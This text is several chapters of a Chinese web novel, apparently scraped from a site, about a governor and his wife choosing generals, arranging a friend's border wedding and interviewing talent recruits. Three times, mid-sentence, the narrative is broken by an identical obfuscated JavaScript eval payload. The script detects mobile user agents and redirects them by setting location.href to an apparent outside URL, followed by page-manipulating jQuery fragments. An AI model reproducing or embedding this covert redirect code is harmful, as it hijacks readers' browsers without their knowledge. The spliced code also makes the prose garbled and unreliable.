至于“另一边”有没有察觉,无人得知。 五万精锐是去定剌州了,将领的人选却还没有公开。 在里兴待定的武将们心急如焚,个个渴望建功立业,这不,有人找到总督夫人的头上来了。 夏知霜望着大胆拦路的二人,觉得好笑:“所以你们想要我在夫君面前举荐你二人?” 段敖目光闪躲,老脸一红。 同为名将之后,许睿镇守厄崖堡,聂桓在梓渊关严防,唯他一个闲散人滞留里兴,他怎能不着急呢。 尤其是他打小看不惯,又视为劲敌的许睿一直被委以重任,他心里别提多难受了。 段敖一是觉得心理不平衡,二是不想靠父辈的福荫过活,建功心切,酒后被人一撺掇,就稀里糊涂的找到夏夫人头上去了。 待被夏夫人接见,直白的点出他的诉求,他酒醒了大半,脸上就挂不住了,显然也认为靠女人吹枕边风得来守御剌州将领之位不光彩。 出自名门望族的段敖拉不下脸求职,跟来的副将萧敏出身草根,压根没有这个顾虑。 萧敏直面她,拱手说:“末将以为,段将军雄韬伟略,是最适合前去剌州的主将,有段将军统帅,末将等无一不从。” 他看似在推销段敖,其实也在自荐,段敖若能披挂上阵,他这个副将当然就能随行。 夏知霜看向萧敏,见他仍目光灼热,不避不让地回视,她眉尾微扬。 说实话,她并不反感他人自荐,可她反感别人待她无礼。 夏知霜没有回应萧敏,目光移向段敖,肃声问:“段将军,你可认同萧将军的话语?” 段敖本就尴尬,被她这么一本正经地发问,更是无地自容:“末将酒后失言,恳请夫人见谅……无论主君是何调令,末将必言听计从,绝无异议。” 夏知霜满意他的识相,语气随之变得温和:“无妨,调令想必这两日就下达,你等回去好好候着便是。” 段敖连连称是,恭送她回舆。 萧敏没料到他改口那么快,白白浪费那么好的机会,心中不服,又越不过他这个上峰,只好郁闷地别过头去。 轿厢内,今天被点到随行外出的月荷愤愤不平。 “萧将军好生无礼,竟敢直视夫人。” 依照规矩,下臣不能直视主母,见礼对答时,下臣要侧对主母以示恭敬,段敖有好好遵照礼数,那萧敏却大剌剌迎视主母,属实胆大妄为。 夏知霜揉了揉太阳穴,回想萧敏的出身和履历,没多少深刻的印象。 月荷越想越气,继续数落:“段将军都临时醒悟闭口不言了,萧将军还在那邀宠争功,不知他打哪借来的胆子,真真狂傲。” 夏知霜:“萧将军是草根出身,又是五大三粗的性子,礼数不全也是情有可原。” 她见过不少武将粗鲁的一面,不想为计较这些小事,随口圆过去:“我腿脚有点酸,你给我按按。” 月荷顾不上骂那个浑人了,忙给她按腿解乏。 晚膳席间,刘宁难得准时回来陪她用膳,她把下午遇到段萧二人的小插曲说与他听。 刘宁听完忍不住笑了:“子悠和段老将军一样,胆量过人,勇猛无惧。他平素倒是谨慎行事,此次拦架,多是和明达飞信吵嘴了,不忿明达受我重用,今日多吃了几杯酒就鲁莽寻上了你。” 段敖字子悠,许睿字明达。 夏知霜听明白了,段敖属于四肢发达头脑简单那类人,他自知没有足够的智谋,平时做事从不冲动,愿听别人的劝言——涉及到许睿的事除外。 刘宁见她感兴趣,便跟她说明那二人的恩恩怨怨。 段敖打小是个混世魔王,三天不打上房揭瓦。 与之相比,许睿聪颖懂事,读书读得好,习武习得佳,小小年纪兵书倒背如流,完全是段、聂、许三家小辈中的佼佼者,父辈赞不绝口。 可想而知,段敖每每淘气顽劣闯下祸事,段老将军就下死手打,打完叹气:“我怎么就生出了你这么个孽障,你但凡有隔壁家小子一半争气,我就是死也瞑目了。” 彼时,三家的小一辈多达二十一人,但父辈口中的“隔壁家小子”,永远指的是最出色的许睿。 在许睿本人一无所知的情况下,听他名字听出了老茧的段敖,擅自记恨上了他。 从此养尊处优的段家大少爷只干三件事,撩猫逗狗惹许睿。 许睿不是好欺负的性子,容忍得了他人冒犯一时,哪容忍得了一世,于是他总是反击回去。 许睿整人的手段可比段敖高明多了,作为挑事方的段敖往往搬起石头砸自己的脚,偏偏他吃了哑巴亏找人评理时,个个都骂他罪有应得。 段敖没被自家老爹打服,反而在许睿哪里吃亏多了,性子被磨得沉稳谨慎,算是一物降一物了。 刘宁想起往事,嘴角含笑:“别看他们水火不容,一次明达膝上中箭,右腿险些废掉,子悠比谁都着急,不吝药材送往边关。” 夏知霜摇头失笑:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650499|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是一对老冤家。” “谁说不是,子悠有回把段老夫人气病了,被盛怒的老将军打得皮开肉绽,还是明达出主意支走老将军,不然子悠被老将军失手打死也未可知。” 刘宁兴致勃勃,侃侃而谈。 除了段敖和许睿,他还讲了其他文臣武将的趣闻糗事。 夏知霜觉得有趣,听得认真。 二人从饭桌聊到了软铺上,最后,她问出关键的问题:“剌州之行,你心中可有人选?” “我定的人,绝非你猜之人。”刘宁给她掖好被角,免得寒冬腊月的风冻着了。 夏知霜一骨碌滚进他怀中,支着脑袋分析:“段少将军誓要跟许将军分个高低,此时谴他去剌州,他定百依百顺,加之立功心切,绝不放过任何能抓住的机会,难道不是最好的人选么?” “你的想法很好,思路正确,”刘宁先给予肯定,后缓缓解释,“只不过你忽略了一个问题,剌州的大军只是威慑作用,十有八九打不起来。” 观东陈兵剌州只有一个目的,暗示淇南他们有在堤防对方,示意他们若是想乱来,先掂量掂量那五万精锐答不答应,还有随时可增援的十万大军是不是吃素的。 剌州那边不太可能打起来,派段敖过去形同杀鸡用宰牛刀。 夏知霜略一琢磨就想通了,其实就是弹簧效应,现在越晾着段敖,将来用到段敖的时候,他越会卖力。 但不是每个人都适用弹簧效应,有的人被晾久了就生了反心,有的人则失了傲气。刘宁是确认段敖忠心耿耿,且有个许睿比着,保持住段敖的争强心态,才放心这么用人。 她第一次知道,上位者调兵遣将的时候,不止要看武将的优劣点,还要利用到其与同僚之间错综复杂的关系。 夏知霜觉得脚冷,翻身半趴到他身上,他体温高些,巴着他很舒服。 她接着问:“我们突然派兵到剌州,平王会不会猜疑,影响观淇两地的盟誓?” 刘宁搂着软玉温香,耐心教导:“正是这个时节派兵,才能最低限度减少阿潮的猜疑。” 从前观淇九地只是悄摸互相防备,哪怕微生湘杀父夺位导致双方关系冷下来的那阵子,观东都没有任何动作。 这一次观东选在这个敏感的节骨眼,率先把防备摆到了明面上,也是在明晃晃的告诉淇南,他们这般行事是忌惮那道不知内容的圣旨,出于自保而为之,不是想跟对方决裂。 从刘宁坦然告知对方圣旨内容起,观东占据了公理,微生湘选择语焉不详地作答时,淇南在舆论上就处于理亏的弱势之位。 那观东驻兵剌州,就是顺理成章,水到渠成。 微生湘纵然不满,也不好多言,就算想抗议,找不到说得过去的理由。 毕竟观东说了,他们派兵是为了防备宝兴国,一个字都没提到淇南。 夏知霜想象微生湘那张皮笑肉不笑的俊容在听到消息时,会露出不快的表情,她就忍不住偷乐。 “我总觉得平王那人阴晴不定,你说他会不会一气之下写信来,话里有话的骂你呀?” “那倒是像他会做的事,”刘宁闭上眼眸,轻拍她的背,“明早不是要去见英慈?早些歇吧。” 自从封侯那夜夫妻畅聊后,他心结没那么重,失眠的症状有所好转,有时能跟她一同睡到自然醒了。 谁知今夜轮到夏知霜精神亢奋,睡意全无了。 “都是你,大晚上跟我说这些,害我思来想去一点不困了,罚你陪我到我困为止。” 短短一句话,她的情绪从委屈,到娇纵的迁怒,继而撒娇收尾。 刘宁本来体贴她早起,哄她尽快入睡,闻言睁眼,视线烫人:“好,我定负责到底。” 他圈紧柔若无骨的美人,翻身压上去。 夏知霜有心想解释她的本意只是“话陪”来着,然食髓知味,欲拒还迎,很快语不成句。 片刻,被翻红浪,呼啸的冷风掩盖了交织的喘息声。 41. 第 41 章 翌日起床时,夏知霜感觉骨头都要散架了,一身羞于见人的痕迹。 今日是早前定下的调理身子的日子,郭秀婉昨夜歇在府中等着伺候,不好再改期。 她卧在软榻上,脸上火辣辣的。 郭秀婉亦为人妇,十分自然地忽略她身上的吮吻印记,面不改色的给她涂抹养身香膏,还教着一旁的月荷怎样按摩能加速药膏吸收。 月荷十四五的年纪,严肃而认真地听从郭医师的教导,仿佛什么都没看到。 久而久之,夏知霜变淡定了。 只要自己不尴尬,别人也不尴尬,这事就没什么大不了的。 调理结束,郭秀婉合上香膏的盖子,笑眯眯:“夫人的身子调理得差不多,气血丰足,该进入下一个阶段了。” 夏知霜张手让月荷侍候穿衣,她不太懂理疗方面:“什么阶段?” “备娠,”郭秀婉道,“主君与夫人和睦恩爱,乃四郡子民之福,若夫人早日诞下子嗣,观东较之今夕更安稳。” 刘氏只余刘宁一人,许多人都盯着她的肚子,盼着她给刘氏一族开枝散叶。 夏知霜恍然,成婚三个月来,他们没做过避孕措施,孩子什么时候来都不足为奇。 她抚上小腹,有种奇妙的感觉,她居然是随时可能会做妈妈的人了。 翻过年去她才满二十岁,正是韶光浓艳时,要是腹中孕育了子嗣,至少两年内只能窝在内宅带孩子了,很多事都做不成。 转念一想,这个时代的二十岁女子普遍是两娃的母亲了,她再不生才是世人眼中的异类。 夏知霜心中的那点纠结很快散去,对郭秀婉点点头,同意她去做备孕相关调理的准备。 送走郭秀婉,她顶着寒风登上车舆去往许府。 聂桓暂时不能回里兴,要么推迟婚期,要么许英慈从里兴出嫁,到梓渊关那边完婚。 最好的情况是第一种选择,许英慈选了第二种。 时间仓促,梓渊关那边要匆忙布置出一个喜堂来,可想而知,一应准备不会有多精细。 屋漏偏逢连夜,许睿的儿子生了重病,其妻抽不开身,在厄崖堡照顾儿子到病情稳定下来,临近许英慈的大喜之日方能匆匆赶回来,前天刚抵达里兴。 夏知霜连轴转,同时包揽了聂家和许家的大事,把一切急需的物品加急送往梓渊关。她寻思聂桓那个愣头青对婚事多半是两眼抓瞎,另派了一队经验老道的人去那边帮手。 刘宁忙归忙,每天会抽出的时间跟她一起筹备婚礼事宜。 许英慈的嫁妆由他俩全权操办,许家出一份,刘府的私库出一份,小夫妻算是提前体验了把嫁女儿的感觉。 许府正门,许睿的妻子曹氏翘首以待,亲自过去打车帘。 曹氏恭敬有加:“曹氏佩凝见过夫人。” 夏知霜搭着她的手踏下车與,莞尔一笑:“嫂子多礼了,你我两家不是外人,快别管那些虚礼。” “夫人面善,我是一见如故,顾不上那些礼节了,”曹氏笑容爽朗,托着她的手进门,清秀眉眼含着歉意,“夫人和总督近日为英慈奔波劳苦,家夫和妾身羞愧难当,实在感激不尽。” “英慈也是我们的妹子,我们理该费心。我和季安再无亲生手足,不疼爱英慈,又该疼爱谁呢。” “夫人和总督抬爱,是英慈的福气。” 二人说说笑笑,来到了准新娘的闺房。 许英慈在跟管事姑姑学习掌家,听到声音疾步到门口迎接,欢快极了:“嫂子,霜姐姐,我可把你们盼来了。” 曹氏失笑:“您瞧,咱们快把她宠坏了,都是要做新娘子的人了,还这么冒冒失失。” 夏知霜乐呵:“正是喜事将近,我们悬悬而望的妹子才慌了神呢。” 许英慈顺着她们的视线看去,发觉手中还拿着账册,她懊恼地“哎呀”一声,羞得钻到香闺里头去了。 夏知霜和曹氏相视而笑,徐徐进了里屋。 她们要谈事,一时半会说不完,管事婆子躬身退下。 聂桓和许英慈的婚期定于腊月二十,送嫁队伍要提前八日出发,后天就要启程了。 夏知霜此行除了想见许英慈一面,主要还是过来跟许家人对接一下流程,免得到时着急忙慌容易出错。 婚礼流程各家大差不差,会在风俗上有小异。 “梓渊关有个迥异的婚俗,送嫁队伍要在入住的客栈设香案敬神。出嫁当日,百姓设三道人墙阻拦,需撒些喜糖盒利是钱,名为‘送喜派福’。” 派福要对时辰,何时抛撒喜钱都有讲究,夏知霜事无巨细地指导许英慈到时候该怎样做。 具体的操作由媒婆执行,媒婆会事先征求新娘子的意见,新娘子也要清楚流程的细节。 她对梓渊关的习俗了如指掌,足见她对这桩婚事的用心,许英慈自当感动不已,霎时红了眼圈:“霜姐姐,多谢你为我如此用心。” 曹氏同是一脸感激,要不是儿子生病,这些事本该她操心的。 “不必介怀,我也有要谢你的地方。”夏知霜笑得很温柔。 观东大多数女子的观念很传统,在家从父,盲婚哑嫁,像许英慈不惧世俗眼光追求真爱的人是极少数。 若非许英慈在婚约期间爱上别人,勇敢追求聂桓,多次被拒绝仍锲而不舍,那刘许两家早已结成秦晋之好,总督夫人之位轮不到夏知霜来坐。 光凭这一点,不管许英慈的为人如何,她都不会生厌。 夏知霜理理许英慈的发梢,轻轻叹息:“可惜时间匆促,否则我们定要将你风光大嫁。” “不过是婚礼简朴了些,只要两个人能在一起,我不在意这些。” 许英慈握住她的手,千恩万谢,又愧疚万分。 “姐姐和兄长为我们准备的排场也不小,可惜到头来没用上,辜负了你们的一片心意。” 曹氏跟着附和。 夏知霜摇摇头:“你们岂会在边关待一辈子,那些物什你们回里兴还能用,省得到时再操办,谈何辜负心意呢。” 许英慈泛着泪花,愈发感动。 几人聚了两刻钟,曹氏出去备宴。 夏知霜怜爱地看着这个被呵护得天真烂漫的小姑娘,她哪哪都好,只可惜有点恋爱脑了。 她招招手,月兰捧着一个盒子到许英慈面前,她拍着许英慈的手语重心长。 “你且记着,男人的山盟海誓需要时间去验证,不论他嘴上说得多动听,你心中要有杆秤,不可全意信赖,要给自己留点转圜的余地。” “老话说得好,夫妻过日子总有拌嘴时。你远在边关,受了什么委屈我们鞭长莫及,你要多爱惜些自己。” “我没什么能帮扶你的,唯有铺子比别人多几家,这两家梓渊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687370|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关并一家里兴的铺子长久以来只盈不亏,权当是我给你的添妆。” 夏知霜朋友极少,一旦有人对她好点,她就想掏心掏肺的回报对方,这些心里话字字句句无不为她操心着想。 话说到这个份上,许英慈便却之不恭了,抱着她小哭了一场。 三日后,一个冷风刺骨的阴天,许家的送亲队伍出发了。 刘宁和夏知霜在城墙上目送他们远去,心里挺不是滋味。 他沉沉长叹:“咱们日后若有女儿,决计不能放她远嫁。” 夏知霜笑着逗他:“常言女大不中留,她若心慕外边的男子,你这做父亲的还能留他一辈子不成。” 刘宁若有所思:“招其入赘,观东地广物博,还能留不住那厮。” 旋即跟她探讨让女婿入赘的具体细节。 夏知霜哭笑不得,还没影的事,他居然考虑得那么认真。 听了半晌,眼见他说到兴头上,开始计划给不知道会不会有的闺女划地建府金屋藏刚,她无语极了,感觉不生个女儿出来都对不住他今日的苦心筹划。 夏知霜忙岔开话题:“我的督宪大人,我的好侯爷,你稍后不是要跟军师议事?快去吧,莫要让军师久等了。” 刘宁这才意犹未尽的回总督署。 第二天,总督署给汪府下达了调令。 老总督旧日的爱将,汪晁将军受命,率军前去剌州驻守。 一家欢喜几家愁。 段敖等将领主动请缨,嚷嚷着一同前去。 大军开拔前夕,他们每天都去侯府和总督署堵人,刘宁通通拒见,他们便在衙门外哭天喊地。 刘宁天天被他们的大嗓门吵得头疼,派人去请段老将军来管管这群小的。段敖惧怕他老爹的棍棒,只要老将军把带头的段敖按住,剩下的人便不敢再胡闹。 谁料,段老将军心痒难耐,自称老当益壮,身体倍儿棒,体力和精力不比汪晁差,跟着几个小的哭着喊着要领兵外任。 段敖没想到自家老头还跟儿子抢差事,那个气啊,嗓门喊得更高了。 “主君,我爹他有心悸的毛病,不宜远行,您可千万不能放他走啊!” 段老将军怒踹拆台的好大儿一脚,赶紧解释:“主君你别听他胡诌,末将今下好得很,每日赤膊负重跑十里地不在话下,这小兔崽子连五里都撑不住。” “主君,我爹他这是恶意栽赃,他嗜酒如命,真派他去恐会醉酒误事!”段敖梗着脖子大声嚷嚷。 “逆子,看我不叉死你!” 段老将军怒不可遏,举着长枪追着儿子满街跑,他的枪法可不是盖的,真要追上,一戳儿子的屁股就是一个大血洞。 段敖闪转腾挪,被逼到死角时就回身跟老爹对打,长枪对长枪,好不忙活。 萧敏等部下围观父子俩打架斗殴,不时助威叫好。 类似的场面每日在总督署上演,风声传出去后,有闲暇的文官武将都寻个由头到总督署来瞧热闹,间接给刘宁增加了一部分公务。 段家父子哪管别人怎么说、怎么看,自顾自打得火热。 堂堂办公的总督署,竟比菜市场好热闹,真是让人不知说什么好。 刘宁被吵烦不胜烦,只好悄悄躲到外头去求个清净。 碰巧招贤榜张贴至今吸纳了不少人才,应夏知霜之遥,他到聚贤庄去考察一二。 42. 第 42 章 前往聚贤庄的路上,车與中的夫妻俩挨在一块儿,阅览通过招贤榜初选的人员名单。 有廖老伯和单婶子打样,四郡皆知总督署求贤若渴,录取标准还不高,报名表似落雪般层层积攒。 这次有八十六人通过了初筛,不乏声名显赫的人才,其中就有观淇九地第一才子张明博,他们定情的青竹扇便出自此人之手。 夏知霜讶然:“以他的才华和名气,定是不缺人向你举贤,怎会兜兜转转寻到我这里来了。” 刘宁却不意外:“这就是他的聪明之处了,此事说来话长……” 原本观东求才没这么艰难,概因早些年阴差阳错闹出了误会。 自从观东跟大启朝廷断绝联系,学子很难上京赶考,朝廷派不来铨选的官员,四郡官员的擢升贬降只能由老总督考察。 若有官员犯事被革职,职位就空了下来。 朝廷不知何时来信,职位不可能长久空缺,总要有人去做事,市坊运转才不会停摆。 于是总督署出令,凡是有职务空缺,诸位官员可举荐贤能,考察核实后,被举荐者就走马上任。 起初,这个方法有效缓解了燃眉之急,被举荐的人确有真材实料。 不知何时起,举荐和被举荐成了一门隐晦的生意,一个心照不宣的人情往来。 举荐之人欺上瞒下,名利双收。被举荐者是酒囊饭袋,尸位素餐,酿出过不少惨剧。 山火没能及时扑灭,导致烈火肆意蔓延,毁坏十数座村庄。 每年修固堤坝防洪的银子被贪墨,汛期治水不力,致使大量百姓流离失所。 某个县令见钱眼开,欺男霸女,收受贿赂,造成很多冤假错案,杀害了许许多多无辜人民。 别个官员为了扶持自己人上位,栽赃陷害同僚,把亲信推上死去的同僚空出来的职位。 种种罪行不胜枚举,观东因此乱了好几年。 老总督得知祸乱的根源后怒不可遏,亲自带人严查,结党营私者,贪官污吏者,草菅人命者,斩首不饶。 那段时间,菜市口的刑场日日血流成河。 此后,官员们怕受牵连,不敢再轻易遴荐,而目睹刑场惨状的贤才,大多歇了求取功名利禄的心思。 似张明博这等恃才傲物的文人,除却眼高于顶,不愿轻易做他人的门生,还有个原因是担心经人推荐被打上某某派系的标签,容易受到牵连影响仕途。 夏知霜听完科普,晃神想到了别的事上头。 可以说,观东四郡自治后走了不少的弯路,经过多次试错,才有今日的民康物阜。 她出招贤榜是想吸纳人才建设观东,出发点虽好,可假使招揽了歹心之人,反使四郡陷入困境。 此刻她也才意识到,以她如今的地位,所做的每一个决定,助力推行的每一个政策,关联着观东的兴衰,干系到百姓的存亡。 权势愈大,责任愈重。 夏知霜犹如千钧重负,靠着他的肩低喃:“公公为你辛苦奠下盛世基业,我们万不可行差踏错。” 刘宁轻拍她的柔荑宽慰:“我们采选出来的人算作我们的门生,一言一行有人拿着尺子比对,想是出不了大错。再者,还有千丝台暗中监管,必然不会重蹈覆辙。” “真如此,便再好不过了。” 小夫妻又聊过一柱香,车舆驶进聚贤庄。 聚贤庄的主管事由傅杭的堂弟傅榆担任,傅榆带人前来恭谨接驾。 初筛后的众人已在会客室等候,有相识的人三三两两聚在一起叙旧,有一见如故的两个陌生人称兄道弟,也有谁都不理的孤狼。 傅杭和傅榆先行,进门后一左一右垂首候在门口,他们就知总督和夫人即刻就到。乌泱泱的人群马上列队齐整,大家都绷着表情,更有人滴下了豆大的汗粒。 今日荟聚于此的人来自各行各业,他们对总督和夫人只闻其名,未见过其人,尤其这次会面可能会使他们的下半辈子发生翻天覆地的变化,堪称千载难逢的机遇,此情此景如何不紧张。 会客厅鸦雀无声,不消片刻,傅家兄弟朗声行礼,他们纷纷跟着朝门口作揖。很快,绣着飞鹤暗纹的锦袍一角徐徐掠过,众人大气不敢出,更恭敬地低垂脑袋。 屋内烧旺着两盆碳,暖意融融。 夏知霜和刘宁并肩漫步,施然穿过人群,进到里边的待客室,傅杭带着名单随行,傅榆留在外头。 夫妇二人坐上主位,下人上过茶点,刘宁朝守在门边的傅杭颔首。 傅杭按照精心排序过的名单唱名:“张昭上前觐见。” 张昭,字明博,他是家喻户晓的大才子,被头一个叫进并不稀奇。 风流倜傥的蓝衣公子整整衣襟,信步闲庭,顶着满室人各种各样的眼光进到待客室。 “学生见过总督,夫人。”张明博躬身行礼,声音宛若涓涓山涧,清亮悦耳。 夏知霜移目端量,这位才子意外的年轻,相貌英俊,书卷气息浓厚。 刘宁抬手:“免礼,赐座。” 张明博谢过入座,侧身抬首,视线定在贵人们肩胛水平线处,谦恭有礼,不卑不亢。 夏知霜有心当面试试其文采,率先开口:“素闻张才子满腹经纶,七步成诗,比肩曹子健之才,更有丹青妙手,媲美道玄画圣,不知可否属实?” 开门见山倒很符合她直爽的性情,刘宁好笑地睇她一眼,若他来问话,定会事先铺垫一番,不会问得这么直白。 倒不如说,文人圈子都是一贯含蓄的作风,鲜少会单刀直入。 然而,他好整以暇,没有插话,放任他们你来我往。 张明博不动声色,并半点不迟疑,速答:“小生略识几个字,不敢与先贤圣人作比,幸得粗拙画作堪能入目,若大人和夫人不弃,恳请赐墨。” 夏知霜扫傅杭一眼,傅杭吩咐侍者:“上文房四宝。” 仆役鱼贯而入,屋子中央设下一座画架,一旁的方型台架搁置各色颜料,笔挂上一长排数十支大小不一的笔,配有研墨的小厮一名,侍笔婢女一名。 张明博思索片刻,拾笔蘸墨即作。 夏知霜料着没那么快,示意随侍的月兰斟茶,静心啜饮。 刘宁婉拒月兰递的茶,离座到画架旁观看。 若是旁人被他这么盯着,绝对压力巨增,方寸大乱,再不济都得仓皇失措,笔触必有迟滞,张明博不是,他反而加快了速度。 几个仆役忽然惊呼出声,夏知霜循声望去,那张明博竟是左右开弓,肆意炫技。 “妙,妙!”刘宁拊掌赞叹。 待客室和会客厅一墙之隔,众人不敢擅言,全副心神放到隔壁,自然听到了那声惊呼,离得近的几人甚至隐约听到了刘宁的颂扬。 会客厅顿时三两聚头,窃窃私语,不一会儿,所有人都探头探脑,试图打探里头的一二动静。 傅榆握拳抵到唇边,轻轻咳一声。 人人站回原位闭口不言,会客室静默,好似不曾哗然。 与此同时,张明博收笔,夏知霜放下茶碗,下座走到画架前。 架上是一副山水画,群山苍黛,瀑布泼洒,山底一江一河,江岸芳草萋萋,河岸鸟兽成群,近处山岚飘渺,远方炊烟袅袅,两条江河汇到一处,合并而成的水脉上游有孤舟,帆上是一个龙飞凤舞的“观”字。 夏知霜赏了片刻,直觉这是一副难得的好画,若是深入剖析,以她当前的水平,顶多瞧出笔锋很有个人特色。 刘宁和张明博探讨架上的绘画和诗作,抽空给她解惑。 她渐渐看出来了,画里纵横交错的山脉,错落的顽石,蜿蜒的烟岚等都是一个个草书,合起来是一首诗。 乍眼是画,细看是诗,是画亦是诗。 夏知霜不明觉厉,只知那首诗的精粹,不知其个中奥妙。 她不大懂诗,但她看得懂画。 这画上的江河暗指观江和淇河,画中无疑隐喻了观东和淇南终归融成一家,舟上挂着“观”字,寓指观东和淇南若有一战的情况下,观东是最后的赢家。 夏知霜再次看张大才子的眼神变得微妙,以画明志,还是那么胆大妄为的志向,很感想嘛少年! 张明博嘴角含笑,在她打量时仍不动声色,谦逊的回答刘宁的话。 刘宁仿佛没看出那幅画的意有所指,很寻常的探讨画作,而且跟张明博的话题很快脱离了诗画,转到法令算术、政论策略上。 夏知霜一头雾水,愈发听不懂了。 如果一直无视和回避不懂的事,永远都会蒙在鼓里。 她没有走开,抱着学习的心态,旁听得格外认真。 眼见他们滔滔不绝,大有聊上一整天的趋势,为后面待选的人着想,夏知霜不由出声提醒:“季安,既然明博得你眼缘,何不择日下帖,邀他过府叙个长短。” 刘宁恍然:“是了,我与明博皆爱诗词音律,改日定聊个痛快。” 以爱好相同的名义邀约,即便他真的邀请张明博也是以私人的名义,和公事与今日的二次筛选无关。 他公私分明,不会因喜爱张明博的文采,而在这次筛选中给予他明显的偏爱。 张明博意会, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689653|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适时辞别:“承蒙厚爱,小生静候佳音,若夫人不嫌,此画赠与夫人。” 他躬身退下去了。 夏知霜看着新得的画作,客观点评:“察言观色,长袖善舞,圆滑周到,这位张才子真不简单。” 张明博把画指名赠予她,一是她提出试他文采,二是看出她中途听不明白他们的谈话,担心她感到无趣而降低对他的好感,送这副十有八九被传作名画的画作示好。 而刘宁和他相谈甚欢,欣赏之色显而易见,他不需要再额外做什么。 短短一柱香,张明博给两个主考官都留下了深刻的好印象。 刘宁笃定道:“此人若涉足官场,必定如鱼得水,是个人物。” 会做官不等于是个好官,他究竟是个为国为民的正面人物,还是贪权恋财的负面人物,现在还未可知。 随着傅杭唱名,余下的人分作两两一组,一批批进到里间。 没有两把刷子过不了初选,能得他们夫妇接见的人无不头角峥嵘,此次会见确是亨嘉之会,张明博无疑是其中的佼佼者,除他之外,再没这么超纲的大才。 夏知霜按照他们的才能分类,许是打样的廖老伯和单大婶属农事人才,今次的八十几人约大半与农相关。 有一人较为特殊,也是最后被接待的人。 他行了隆重的跪拜大礼,头颅严实磕地:“草民扈玉山,拜见贵人。” 夏知霜查阅他的档案,开口问:“你是高淙人?” “实不相瞒,小人原是高淙蓬华洞人,家营铁器铺,”扈玉山握手成拳,眼眶湿润,“一日,康王下令封禁各城的铁器铺,家父被抓入狱,县衙狮子大开口,小人倾家荡产去赎,家父还是无缘无故枉死狱中。” 夏知霜和刘宁对视一眼,都有点不忍心。 高淙往昔对私盐和铁器监管不严,只要到衙门去报备,交一笔保证金,并承诺每季度按照营收给予官府一定的抽成,便可开门做生意。 这些宽松的制度,建立在高淙富裕的前提下。 十几年来,高淙跟周边打打停停,消耗了不少财富,康王听从幕僚的建议,极尽压榨富户捞钱。 头一批被宰的,就是扈家这类生意人。 多少老实本分的商户受了无妄之灾,家破人亡,全部财富尽数充进康王府和“国库”中。 亏得扈玉山机灵,将父亲收殓后隐姓埋名,听闻观东总督仁厚,跋山涉水来到观东,又听得总督夫人招贤纳士,遂想靠着老手艺在观东谋生。 “小人别无长处,唯家传的冶铁手艺还过得去,愿毫无保留的奉与衙门。”扈玉山伏地跪拜,不敢抬首,生怕贵人们还是不肯接纳异乡人。 夏知霜本是挪族人,自是不介意收留异族。 刘宁更是不介意,四郡万千人全是他的子民,他的善心仁意不会偏向任何一族。 她笑了下,试探道:“我石答铁矿盈千累万,冶炼技术乃观淇九地之首,你引以为傲的家传手艺,只怕泯然在石答。” 扈玉山信心十足:“不是小人自夸,祖传的手艺不断的改良完善,绝不输石答的顶级匠人,康王没有将小人一起打进大牢,赶尽杀绝,图的就是小人的手艺。” 他顿了顿,又道:“小人不才,愿立军令状,一年为期,定使石答甲盾更加锋锐,若不然,贵人可将小人五马分尸!” 他的话语掷地有声,刘宁眉心微拢:“你决心至斯,是何缘故。” 一般人求职可不会求到下军令状的地步。 扈玉山终于抬了头,眼睛发红,一脸坚决:“有朝一日,若我做的刀枪剑戟取得康冀的性命,报了我扈家之仇,我扈玉山死而无憾!” 利益能诱惑得了人一时,仇恨能驱动得了人一世。 夏知霜和刘宁随同情他的遭遇,但保险起见,让他和其他人一样待定,先等千丝台去查证他的话是真是假。 最终,八十六人有八十四人待定。 剩下的二人一个过于紧张,舌头僵直,四肢僵硬,在他们夫妻面前一个字都蹦不出来。另一个则惊慌过度,失禁失态,他们被人拖下去的同时,宣告从此跟公职无缘。 夏知霜给那两人分发十两银子以作宽慰,好歹不白来,让他们对家人有个交代。 见过名单上的人,心中有了数,剩下的就是整理信息,夫妇二人共同探讨把他们放在什么位置合适。 如此这般番过年。 汪晁率军出发,段家父子彻底失去机会,不敢再到衙门来造次。 阳春三月时,大启朝廷再次派来了使臣,打破了观淇九地的平静。 43. 第 43 章 来传旨的人不再是慈眉善目的袁修,而是同为六大内监之一的林公公,此人肃容厉目,看着不好相与。 林公公没走瑜记商路,他从石答郡赶往墨同郡的路上,千丝台的线人才反应过来。 启使悄无声息的出现,只有一个可能性:他们先去淇南,从淇南潜入相邻的石答,所以观东是启使宣旨的最后一站。 启使能跨多个分裂独立的小国抵达淇南,侧面说明,近期内除了观东和淇南,大启朝廷还出手整治了各个分裂之地。如今每个地方都可能有朝廷安插的内应,地位还不低,不然林公公怎会毫发无损。 